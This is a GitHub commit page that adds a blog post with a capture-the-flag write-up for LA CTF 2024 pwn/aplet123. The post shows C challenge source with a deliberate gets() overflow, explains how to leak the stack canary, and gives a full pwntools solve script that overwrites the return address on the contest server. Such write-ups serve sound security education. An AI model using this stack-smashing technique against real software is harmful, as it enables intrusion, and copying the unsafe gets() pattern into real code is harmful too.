Skip to content

Commit

Permalink
First Writeup
Browse files Browse the repository at this point in the history
  • Loading branch information
daniel committed Feb 21, 2024
1 parent 552b7e6 commit db6f2b4
Show file tree
Hide file tree
Showing 9 changed files with 657 additions and 99 deletions.
140 changes: 140 additions & 0 deletions content/posts/la-ctf-2024-pwn-aplet123.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
+++
title = 'LA CTF 2024 - pwn/aplet123'
date = 2024-02-21T17:20:12-05:00
draft = false
+++

We are given a binary and source code. Taking a look at the source code:


```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

void print_flag(void) {
char flag[256];
FILE *flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof flag, flag_file);
puts(flag);
}

const char *const responses[] = {"L",
"amongus",
"true",
"pickle",
"GINKOID",
"L bozo",
"wtf",
"not with that attitude",
"increble",
"based",
"so true",
"monka",
"wat",
"monkaS",
"banned",
"holy based",
"daz crazy",
"smh",
"bruh",
"lol",
"mfw",
"skissue",
"so relatable",
"copium",
"untrue!",
"rolled",
"cringe",
"unlucky",
"lmao",
"eLLe",
"loser!",
"cope",
"I use arch btw"};

int main(void) {
setbuf(stdout, NULL);
srand(time(NULL));
char input[64];
puts("hello");
while (1) {
gets(input);
char *s = strstr(input, "i'm");
if (s) {
printf("hi %s, i'm aplet123\n", s + 4);
} else if (strcmp(input, "please give me the flag") == 0) {
puts("i'll consider it");
sleep(5);
puts("no");
} else if (strcmp(input, "bye") == 0) {
puts("bye");
break;
} else {
puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
}
}
}
```
```
checksec --file=aplet123
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 49 Symbols No 0 3 aplet123

```
And taking a look at the binary with checksec we see that we have PIE turned off but we have a stack canary.
```c
gets(input);
char *s = strstr(input, "i'm");
if (s) {
printf("hi %s, i'm aplet123\n", s + 4);
```

We see that we are using gets which gives us a buffer overflow. Remeber that strstr retrusns a pointer to the first occuraence of the sequence we are seraching for. So if our input contains 'i'm' at the end, then we can read past the buffer and this lets us leak the canary.


```python
target.sendline("A" * 69 + "i'm")
target.recvuntil("hi ")
canary = target.recv(7)
```

Recall that the least significant bit of the canary is a null byte. I believe this is to prevent the canary from being leaked if for example it is next to a string that is not null terminated in memroy that is being read.


Now that we have the canary, we need to use the buffer overflow to overwrite the saved return address.

Complete solve script:

```python3
from pwn import *
context.log_level = "DEBUG"

printflag_addr = 0x4011e6


target = remote("chall.lac.tf", 31123)

target.recvuntil("hello")

target.sendline("A" * 69 + "i'm")

target.recvuntil("hi ")
canary = target.recv(7)

payload = b"A" * 72
payload += b'\x00' + canary
payload += b"A" * 8
payload += p64(printflag_addr)

target.sendline(payload)
target.sendline('bye')

target.interactive()
```
7 changes: 0 additions & 7 deletions content/posts/my-first-post.md

This file was deleted.

7 changes: 4 additions & 3 deletions public/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -160,14 +160,15 @@ <h1>Daniel Foudeh</h1>

<article class="post-entry">
<header class="entry-header">
<h2 class="entry-hint-parent">My First Post
<h2 class="entry-hint-parent">LA CTF 2024 - pwn/aplet123
</h2>
</header>
<div class="entry-content">
<p>Just a test!!!!</p>
<p>We are given a binary and source code. Taking a look at the source code:
#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #include &lt;unistd.h&gt; void print_flag(void) { char flag[256]; FILE *flag_file = fopen(&#34;flag.txt&#34;, &#34;r&#34;); fgets(flag, sizeof flag, flag_file); puts(flag); } const char *const responses[] = {&#34;L&#34;, &#34;amongus&#34;, &#34;true&#34;, &#34;pickle&#34;, &#34;GINKOID&#34;, &#34;L bozo&#34;, &#34;wtf&#34;, &#34;not with that attitude&#34;, &#34;increble&#34;, &#34;based&#34;, &#34;so true&#34;, &#34;monka&#34;, &#34;wat&#34;, &#34;monkaS&#34;, &#34;banned&#34;, &#34;holy based&#34;, &#34;daz crazy&#34;, &#34;smh&#34;, &#34;bruh&#34;, &#34;lol&#34;, &#34;mfw&#34;, &#34;skissue&#34;, &#34;so relatable&#34;, &#34;copium&#34;, &#34;untrue!...</p>
</div>
<footer class="entry-footer"><span title='2024-02-21 17:20:12 -0500 EST'>February 21, 2024</span></footer>
<a class="entry-link" aria-label="post link to My First Post" href="https://dfoudeh.github.io/posts/my-first-post/"></a>
<a class="entry-link" aria-label="post link to LA CTF 2024 - pwn/aplet123" href="https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/"></a>
</article>
</main>

Expand Down
9 changes: 5 additions & 4 deletions public/index.xml
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,12 @@
<lastBuildDate>Wed, 21 Feb 2024 17:20:12 -0500</lastBuildDate>
<atom:link href="https://dfoudeh.github.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>My First Post</title>
<link>https://dfoudeh.github.io/posts/my-first-post/</link>
<title>LA CTF 2024 - pwn/aplet123</title>
<link>https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/</link>
<pubDate>Wed, 21 Feb 2024 17:20:12 -0500</pubDate>
<guid>https://dfoudeh.github.io/posts/my-first-post/</guid>
<description>Just a test!!!!</description>
<guid>https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/</guid>
<description>We are given a binary and source code. Taking a look at the source code:
#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; void print_flag(void) { char flag[256]; FILE *flag_file = fopen(&amp;#34;flag.txt&amp;#34;, &amp;#34;r&amp;#34;); fgets(flag, sizeof flag, flag_file); puts(flag); } const char *const responses[] = {&amp;#34;L&amp;#34;, &amp;#34;amongus&amp;#34;, &amp;#34;true&amp;#34;, &amp;#34;pickle&amp;#34;, &amp;#34;GINKOID&amp;#34;, &amp;#34;L bozo&amp;#34;, &amp;#34;wtf&amp;#34;, &amp;#34;not with that attitude&amp;#34;, &amp;#34;increble&amp;#34;, &amp;#34;based&amp;#34;, &amp;#34;so true&amp;#34;, &amp;#34;monka&amp;#34;, &amp;#34;wat&amp;#34;, &amp;#34;monkaS&amp;#34;, &amp;#34;banned&amp;#34;, &amp;#34;holy based&amp;#34;, &amp;#34;daz crazy&amp;#34;, &amp;#34;smh&amp;#34;, &amp;#34;bruh&amp;#34;, &amp;#34;lol&amp;#34;, &amp;#34;mfw&amp;#34;, &amp;#34;skissue&amp;#34;, &amp;#34;so relatable&amp;#34;, &amp;#34;copium&amp;#34;, &amp;#34;untrue!</description>
</item>
</channel>
</rss>
7 changes: 4 additions & 3 deletions public/posts/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -136,14 +136,15 @@ <h1>

<article class="post-entry">
<header class="entry-header">
<h2 class="entry-hint-parent">My First Post
<h2 class="entry-hint-parent">LA CTF 2024 - pwn/aplet123
</h2>
</header>
<div class="entry-content">
<p>Just a test!!!!</p>
<p>We are given a binary and source code. Taking a look at the source code:
#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #include &lt;unistd.h&gt; void print_flag(void) { char flag[256]; FILE *flag_file = fopen(&#34;flag.txt&#34;, &#34;r&#34;); fgets(flag, sizeof flag, flag_file); puts(flag); } const char *const responses[] = {&#34;L&#34;, &#34;amongus&#34;, &#34;true&#34;, &#34;pickle&#34;, &#34;GINKOID&#34;, &#34;L bozo&#34;, &#34;wtf&#34;, &#34;not with that attitude&#34;, &#34;increble&#34;, &#34;based&#34;, &#34;so true&#34;, &#34;monka&#34;, &#34;wat&#34;, &#34;monkaS&#34;, &#34;banned&#34;, &#34;holy based&#34;, &#34;daz crazy&#34;, &#34;smh&#34;, &#34;bruh&#34;, &#34;lol&#34;, &#34;mfw&#34;, &#34;skissue&#34;, &#34;so relatable&#34;, &#34;copium&#34;, &#34;untrue!...</p>
</div>
<footer class="entry-footer"><span title='2024-02-21 17:20:12 -0500 EST'>February 21, 2024</span></footer>
<a class="entry-link" aria-label="post link to My First Post" href="https://dfoudeh.github.io/posts/my-first-post/"></a>
<a class="entry-link" aria-label="post link to LA CTF 2024 - pwn/aplet123" href="https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/"></a>
</article>
</main>

Expand Down
9 changes: 5 additions & 4 deletions public/posts/index.xml
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,12 @@
<lastBuildDate>Wed, 21 Feb 2024 17:20:12 -0500</lastBuildDate>
<atom:link href="https://dfoudeh.github.io/posts/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>My First Post</title>
<link>https://dfoudeh.github.io/posts/my-first-post/</link>
<title>LA CTF 2024 - pwn/aplet123</title>
<link>https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/</link>
<pubDate>Wed, 21 Feb 2024 17:20:12 -0500</pubDate>
<guid>https://dfoudeh.github.io/posts/my-first-post/</guid>
<description>Just a test!!!!</description>
<guid>https://dfoudeh.github.io/posts/la-ctf-2024-pwn-aplet123/</guid>
<description>We are given a binary and source code. Taking a look at the source code:
#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; void print_flag(void) { char flag[256]; FILE *flag_file = fopen(&amp;#34;flag.txt&amp;#34;, &amp;#34;r&amp;#34;); fgets(flag, sizeof flag, flag_file); puts(flag); } const char *const responses[] = {&amp;#34;L&amp;#34;, &amp;#34;amongus&amp;#34;, &amp;#34;true&amp;#34;, &amp;#34;pickle&amp;#34;, &amp;#34;GINKOID&amp;#34;, &amp;#34;L bozo&amp;#34;, &amp;#34;wtf&amp;#34;, &amp;#34;not with that attitude&amp;#34;, &amp;#34;increble&amp;#34;, &amp;#34;based&amp;#34;, &amp;#34;so true&amp;#34;, &amp;#34;monka&amp;#34;, &amp;#34;wat&amp;#34;, &amp;#34;monkaS&amp;#34;, &amp;#34;banned&amp;#34;, &amp;#34;holy based&amp;#34;, &amp;#34;daz crazy&amp;#34;, &amp;#34;smh&amp;#34;, &amp;#34;bruh&amp;#34;, &amp;#34;lol&amp;#34;, &amp;#34;mfw&amp;#34;, &amp;#34;skissue&amp;#34;, &amp;#34;so relatable&amp;#34;, &amp;#34;copium&amp;#34;, &amp;#34;untrue!</description>
</item>
</channel>
</rss>
Loading

0 comments on commit db6f2b4

Please sign in to comment.